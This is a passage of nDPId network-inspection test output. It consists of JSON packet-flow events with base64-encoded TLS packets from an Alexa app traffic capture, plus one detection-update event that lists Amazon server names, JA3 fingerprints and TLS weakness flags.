hPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} +02383{"flow_id":74,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1019,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":512358,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcve9AAOcG3F40XuiGrBAq2AG76TIsDqVnTuXdLVAYf\/mGTQAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00887{"flow_id":74,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1020,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":512431,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGBvfFAAOcG4Lc0XuiGrBAq2AG76TIsDqsbTuXdLVAYf\/nbtQAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01498{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1020,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":74,"flow_packet_id":7,"flow_first_seen":1490976071392,"flow_last_seen":1490976071512,"flow_tot_l4_data_len":3627,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":59698,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"36e9ceaa96dd810482573844f78a063f","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +02395{"flow_id":72,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1021,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":512612,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcKzVAAEAGFhqsECrYNF7ohrKAAbueQXJIs5YazlAQAVesjgAAFwMBACA1ItWOhLbsfIMywResWguv6Fwtz0Hp8xzG+xr\/uHTu1xcDAQXwKayzJaPXCA9rVHei6HHIjKLFFPjTlmK2QYga+up3rKSiQhu+VWY49bOw3S\/VgE4d1kxFLpb1z5eR+AZD75MuuacTPbABIwUqP0tJbyMxPgMOIBYetu+sSEG2m4KJVzBvEfBK4XaFHFbAlqSgc+QFmfYymH7kDc7NdLFnVYNqJgPhKsee36dAZSlq3L6GLiJobYNZ4Lkw6GTpSoDukeS1\/ibUFMfHNVxDvPVTsX+pSPB\/ij1X5xj7et2dQ7Q3fupvLf7k395s\/hwpg77cJAAmh3cYWCQS09d0e2M0i6NsPu518OGzJsqIysVUiupo5zZFDQEL1dwFxpw1r5GszQqiNbCInHP+OLQzk8PHcB4ruVmDutKDLdD3tjPLM2SpMjOvhXQgnJz5b6\/9rKTBUUaQxkhYoMrTtDu9JzIzG4FZs3aWsq4mCgZxbISQrLVjk5+a03MTaRSDjkdC2Mu3TfTybgtbTRXBNagXer1uidHze9SXkNgPB\/bVnhRYC5NEDWsZ\/4DG2zEXsmWN6fWvGI4oeyLOiIo9R3xS5LFRbASkV0a9C\/9C2873EoLz2tEubVWvABpBP04f3pV0FllAa4MbCau34t4nKAr4jGeqSEVhcWHam3p68wcK5iGxbm\/MNE51MDmdtSWCwF1tCcqoGvhpr\/nWznjHdnK9\/TfvebIuqwvPkkOFE\/o9MVTaqORDyoJHDVPRnWd8v5pqbK6OUz19UnmPTRYTfOFUmmFighAm3nes+t196gCbsmDuiXuPo8aDukv1rYWgFMCu5O5QzGV9E1hlyBJhiRaBnj3Y5suu0+PACtGDMqt94DuW\/kotF49zn9uYDcRGgivALv8D8iIyngz1e77k+lQQp5roJZYmU7qdQjg2gTawe+gLYZDy4kFG80hKf6ylL8pfz0DTDTTYiFTZIOytaSNpkFoUaxOh0h8K9Hs8zs87dHQRh0z7PggUFFTwRjuO6GFTb+oY1uT5nVfU8hpwdQY4KRQYwwQa5KBp7Yjxz0gj3K5lOZK5BP+JNeevkMTaTTboH\/ncv+fjCIQ+dpyWQzBBAmJny5wz\/u2sBQ\/YehOi10FAfl7KBA7dOyRgeAlj2lhTKUapMeXGF6FcTKa+QQad3LhDE7EXHnDOyjst7Q4WdigaummWRS5JUfzguqEntw36no6ZrNJDibU3FVvd1E7gY4uQzUvHRWS2d4hO9DqZoTU5\/CW+fKIHd892Hs\/0rbP4hpNZXC\/amq39AL26nM0VFHS2RyI3N5jA8zNYBM9qvgfcA4Iway9lKaF0zyXz8p1yPNbN5rrv88ZIkmrpdpklZMEWpXEhQMMNjKvmQuxoDE++6JYZvOxTAHRbjLsm5sKaASAKBBz1+lRrbHyaP2Nr24QRPpdpSNizC2xrHKEr+FbPPrdQZ6XRqMOOHjBFyRO6fLcFHR7uX3EuMd6ulDWzgqFKoAF87FGs+tBMqygAnb8t61k5HbSh2Nz+5lu7gf16ss\/2o7Y\/fRMlBpOtGd7\/WFsSjdvhrLjQJANrLjSZuI0dpHFJVMwGd5Ye1z5F6dGMn0CkhBtEz8n88Bzc5\/u8N3uXpnMk4tj2JI+sl49xuIcSzUD2+SH1TzbUXgdhvDizm662Aa9Ler7JwQMid8Y5jmAR6gHn2zaiuppMaqAezCWHLwB7oz9rvIuJk6UNbHDQ9SneN1lz80arz5mHo2n7vGE3EQ8QuEO8sl64q7G4EJSxGk5i92SbM4JneMyX6wRpQP5wJ+zmr+5lvVJaJqh2IQenn7O0OXcqNvJKnLBTmoOmfWxQVyWpAsawIhRVuH6Ddt5C60\/PztU8hLV4dHrc3N4Ho09Ot9Nb5lK5l1fkvTilhxlZAaLJMAnAMeopcmIu9XRiPZ3zUzBLpNul7CxS1Yw="} +00556{"flow_id":72,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1022,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":512894,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"AMDKkaPvePiC0\/vCCABFAACOKzZAAEAGG2esECrYNF7ohrKAAbueQXf8s5YazlAYAVerUAAA1hJWn5K9HkA5GaL8aM62erG6py7j6o3KWQJagZ1eEWONAmFvx9zGif3UeOMt3plh7vtPhBPNAW8uG0UGhVdOxy4RfWyVGqyzsC+9IGrt6ZHBjn04Egmuc9XXNPbkP5Oa8Hk\/NLmc"} +00499{"flow_id":71,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1023,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":513034,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjlMtAAEAGsfysECrYNF7ohrJ\/Abuhu8\/YLsgjB1AYAVf5iQAAFAMBAAEBFgMBADAB7XXixEKXZx9fUSjs4B0EgdAiHDJakuL8sQpJYQbh2fJipuEIESpKffh+zLMRwYo="} +00415{"flow_id":74,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1024,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":513996,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohlxAAEAGwKasECrYNF7ohukyAbtO5d0tLA6lZ1AQAWLSLgAA"} +00415{"flow_id":74,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1025,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":514277,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohl1AAEAGwKWsECrYNF7ohukyAbtO5d0tLA6rG1AQAW3MbwAA"} +00416{"flow_id":74,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1026,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":514411,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohl5AAEAGwKSsECrYNF7ohukyAbtO5d0tLA6sdFAQAXnLCgAA"} +00425{"flow_id":68,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1027,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":516542,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoTXtAAOcGUoc0XuiGrBAq2AG7sn0V5CkJkSc4MFAQf+B\/qQAAAAAAAAAA"} +00425{"flow_id":68,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1028,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":516743,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoTXxAAOcGUoY0XuiGrBAq2AG7sn0V5CkJkSc4xlAQf95\/FQAAAAAAAAAA"} +01362{"flow_id":69,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1029,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":522034,"pkt_caplen":752,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":752,"pkt_l4_len":718,"pkt":"AMDKkaPvePiC0\/vCCABFAALims9AAEAGqXmsECrYNF7ohrJ+AbvI+ML4aXhmI1AYAXk4ngAAFwMBACCGhhsZBtp2XeLVL9+VtddAR\/tmapM95xT5Hve2hHKyGhcDAQKQZ8xKucUMFEwN8g09ef4axwT\/L1PJn4vYrW+F7QaLc0iqTNmTbC1xrTj0ClqwJ61VHYtSaZMzAzq\/SS6zBzkdql5m0f+yQwcWODjFDkeYB9UFjb75MPKnExYBzMX32ssIJoFph7yxkeS9PyYtWG61KrLUFKrWurSWak4UKJHKLkiicn1WRH8ux62rFy8gKl9GTZjFUBgE9hJoqPOJD5WQuAXiYDx9lTn5HvGhWmWnsgmOLS9HHu09TlDNCbOOt1HF8w68Q7uqo2IDsJcYsKClFvbEaqC6R4+SR9oPDSg2g0iCQak37MeIzrPcm4wwy7qb023hyGhJJsGG2OoGsChpum1u1fjTWjIEgobglEh\/pHGKKfhe6kHPJkBRKAtk9oD8ZnYPo6EyYP21leMgOm5OIa6qnBbVJjDdOU623SBmDkwDGg8xZ\/m65FOa6oKuPpgSaMmuizuyJTa\/fmcBDYws\/A9GjmWKzedY\/ZoTeAP8jNPIVXTJfz6hZFyux8+WSLcDlzGURnGSuuR2OR+nCZrm4qb6lHsl7wgccf5NMOWE0YP8uhvGjkT+hirtorkmzep994oqZcq3JJSus2KVVXh1lzXTABlTSUrzf7aDRx20EvgOdkSMlvVROFHjPNXW1fHuFVpU9Zecf5BbxoLpX8YyZpg7yQX+W8MoyYhUdiW4zyfwem244sSgcOP6L9td0Jjvk3xaWlWJtoWG6ixA0v7usGCUjwyqU3H5NYBEqd3ZjPuOAvYuZbwXWU2VhkfzvY0c\/xh1HqVBL9PQ1Tq2MV\/1vYj2Fb4ueNzYg7pyLwEhj6qkWKAk04LcLi8\/RI1R45Kov6ObFmcCqqOiqh49dzjnkcw730YsPVQdQTG1mkmrzuk="} +02401{"flow_id":71,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1030,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":522759,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXclMxAAEAGrIKsECrYNF7ohrJ\/Abuhu9ATLsgjB1AQAVfAZgAAFwMBACCoCT8yAtBzzfhGDLzy9ZV5wX79JaXaaQcCsi7mAFCdUBcDAQZgwL+ZRKx9d8uhsYl1WP+lfdqnZIZrUWg+ceGLxyH9cY82zRZTxEvB6qz5Qy6\/2YSZXklQwbF620rCgIAJY\/qRwAkKOjVQ3cfHQOCBmNv5d8eWr6WT4HE0ln5EvyXIsXpqyl19CKaHEVVw37Rppt1iLtqc7peAhqE8afxCnKu2ETx3haSg0K457JRW8+nJWIFEeNZOQjLEfCGsYnVom0mivywHi4SGbRy+HrjXRUpFfl8E3QNYQPlEO8z\/NHIHbFlz+Uf5tHVim6J8Kc2+KdWwxha7Htr\/B6b0BOtuk2xTugFghRzQLUjlHtyD162Tmex59npI79rijz3ZpnctFF1Tu+E4uuGiBGL1VaFhlICRskzia5TUKMrHfqqWEzpHN9xeJAuDjCjbb8yYforl+IaRj\/7Fq8BD8X7TOlQdFnebpDSc\/GsyyIjWRzEr\/GvkP0Gku5wMMwCfhrEIyAkHLJ+ecTd9Oe1nRwWzJd8b0bFAl533qIM+1sBemKeHF\/B51vS4FXbgRZo2+C2ejlgrV1K+oxsmyzio2vb37qq9OMbKpSA75PaREqTi2WM1Rf9eBxDNBJ0\/RpUo03EKFGAnU8UU73iOejHNkOM8t+DZXleVHOuP9Tps6ydCjq\/OIr816BVgYbux54gM4Anh\/VIMgFjHEH23fgR1zRfchPUiOrGVRlkkdotfM29PSP4tEqgmRMzs1kN2BWuEL+U2z7YGMk49Bvd56EzKOWLhz6xPZpkNZ5o0ug4H8ZwjYRu4bQI808ve60DdnW2Ku8xEdRqMl9TbpooqokWJQ2Ys3XFXWwn4uwFBW1YXca+LuTIS2H9RhfGfZmkXae3541t2nSYzTA0wCy5tlTVwj4ybgUZH85FHOQ7y\/Tk9n4jbD19C+EVEBq\/T94Zs2bWeajofoOJKP9BS+TXIRMFI9bxL+GJjwdpJY93n40Plie\/sKh1vlcVIoyCaXkOsP6MtQv6E5FlzmIftOA995XjgciMVmK\/kqjo0hsxyd5csH3Zrt4gT0vGm6sow33jPhPUOGalSYa2hDknrpIs5Aa5Nq0XCB1UMLMpc7nwlEUvgGMsKSgVoPek1WUBLr0L6xIrphNS33hxiS\/nrthJ21HEiGOn7WH32ZRYgXLSJUDdyo6tpzikJ8Z38HwFZEyRcQ0Tr38M\/bl+fsV5YR83W+Hy37boXFGRoyCIuTvhHQlUxNkuO0O1nCRvJMf8wzxOpwBrFIiIGzwoyjBVUxe68xr+d1K\/Hd1yy1aoph\/EyX4L8Dl5pCaKP8eyCe4FrDYXV2td7VKtHZUw5l61pCWhkKaSWTfyUeERt7A08W4oinjkAaNTeRYlqMFnXxOL6VaQJ4QcxYUh9HvN2x\/VsWurFN6\/5WxTHJ\/KjHomiJgf9Q6PWIJT4dUw3y8MPBanMD3jP3iwJZrPJr8lsqDwI93YaUDfsVWIYkuwFGjnDaq\/Koyqb9ooS5xvMMZIKEkix1xMd0FMgdusVEgEnfMVrhXAP6DDMqLUYrNlBR8eZ3vRXVjFfJNJbb6jX2Qy39hFv4nDTEo4Ab\/iIPMNvT7HHZjNCxtHWlOrJQXZtFBF3C3AoL\/mxixVeW+PE8bKPSkRwLDEr1lUtCrMsspa\/RDFSX4jV+kLd8oltOZm3BfZMfwRzzRiNy0zCdJAZ1CRgPn4QYUNHodpnlmd73\/6y1Aov9cx3fmjsHci071YL8vcwEP6Cl7smvbZm8Ow0spV0XLxYKYUdLUbz95WHv3Y1f7pT11yca3oPsaUF\/uKhZI5QL4z4GI\/mfg+WAnzrw9Sfs7zdUxodKXCa8vHVcmjU3NEFmovyEvrLDY67pJqhccpPP8kReLDTbmFgnjCGleX4ArIaewbtidxMe\/eyL44PcIV9kFe8YU3pok7KRdY="} +00712{"flow_id":71,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1031,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":523008,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+lM1AAEAGsV+sECrYNF7ohrJ\/Abuhu9XHLsgjB1AYAVev9gAAyBDaQIOsxV+IpWvVDJsa+p8SiU13wJeJKYAbwYjjmzToh9r4CZ9lsMfIAYWSwLFkG1COgsfY2Np2V79f7Gjq90iabh+M7zFDMzOiMQbGdyDOan3VZvWJhvLKFH5fuUjSMN1XmXCSFHjIm1ZQe\/ns13WKGIbrom2AxuD4dYoebX09OM04UFkBOanuyVOWxbSk45UL6NSky6RGn4VMwoo0\/OD8r8TZbWECxsnDUcLOibLa6SY5Vo6SIJBR\/LPqBAIosVH9fBB0cl01aFBHYn\/BfITm20a1lg=="} +00862{"flow_id":74,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1032,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":538479,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFuhl9AAEAGv12sECrYNF7ohukyAbtO5d0tLA6sdFAYAXn7WQAAFgMBAQYQAAECAQB6PFReQc\/9lk0doWIKLKtFLc5QC6DUFFMwchPhRCg2UYlCaJ0VNMNLigNgM+r1pZrwVIOOTLLgkbWJ0uSfF2GUa9l9+7jbIl2GA+wcQ9OqUhNdTnHmY4zfn5hQ\/wvZmiCpPrgEam15sJ2+skCPvKwauDedtQuiNvdZTZ7FWAz3LtMpX2wboMY5+mg3zQdA5j\/bfilKIcaIeCUZw5mnyA98v1EPtlJW+Ol008P+kSZ6mGsjoQmOrDGvMm9Uek+52s7IEQAcnkQWexMga5ymSgGsBCXnHscqPyjTjajK2UobLRkTU8I4j\/AUo4uDuBPvonqk1mNstphJkcatxIBDj+6wFAMBAAEBFgMBADCujgoi\/f1htc7ueXGBPhtqqyeK\/GtazHaaHvhBR18KpP+MmfdT\/TDKS8uGXvsmOZg="} +00425{"flow_id":72,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1033,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":540658,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoeatAAOcGJlc0XuiGrBAq2AG7soCzlhrOnkFySFAQf\/eo5QAAAAAAAAAA"} +00425{"flow_id":71,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1034,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":570897,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoUTdAAOcGTss0XuiGrBAq2AG7sn8uyCMHobvQE1AQf\/fENgAAAAAAAAAA"} +00424{"flow_id":69,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1035,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":572965,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoYKZAAOcGP1w0XuiGrBAq2AG7sn5peGYjyPjFslAQf+kpnQAAAAAAAAAA"} +00424{"flow_id":71,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1037,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":580875,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoUZlAAOcGTmk0XuiGrBAq2AG7sn8uyCMHobvVx1AQf+C+mQAAAAAAAAAA"} 